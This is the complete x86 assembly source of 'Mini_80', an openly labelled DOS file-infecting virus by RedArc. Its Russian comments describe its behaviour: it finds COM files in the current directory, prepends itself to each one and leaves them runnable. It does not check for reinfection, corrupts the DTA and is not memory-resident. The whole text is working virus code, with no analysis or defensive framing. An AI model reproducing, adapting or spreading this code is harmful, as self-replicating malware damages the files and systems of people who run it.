; Mini_80 (c) by RedArc

;■ поиск и инфицирование COM-файлов в текущем каталоге
;■ инфицирование в начало
;■ оставляет программы работоспособными
;■ не проверяет на повторное заражение
;■ портит DTA
;■ не резидентный

Model Tiny
.code
org 100h
start:
       xchg dx,ax
       inc ah
       mov es,ax
       xchg cx,si
       mov si,bx
       mov di,bx
       rep movsb
       push es
       push di
       mov ax,virlength+100h
       xchg si,ax
       push cs
       pop cx
       rep movsb
       mov dx,(virlength-6)+100h
       mov ah,4eh
@0:
       int 21h
       jnb @1
       retf
@1:
       mov ax,3d02h
       cwd
       mov dl,9eh
       int 21h
       xchg bx,ax
       mov ah,3fh
       mov dx,virlength+100h
       push sp
       pop cx
       int 21h
       add ax,virlength
       push ax
       xor cx,cx
       mul cx
       mov ah,42h
       int 21h
       pop cx
       mov ah,40h
       pop dx
       push dx
       int 21h
       mov ah,4fh
       jmp short @0
filename db '*.com', 0h
virlength equ $-start
       ret
end start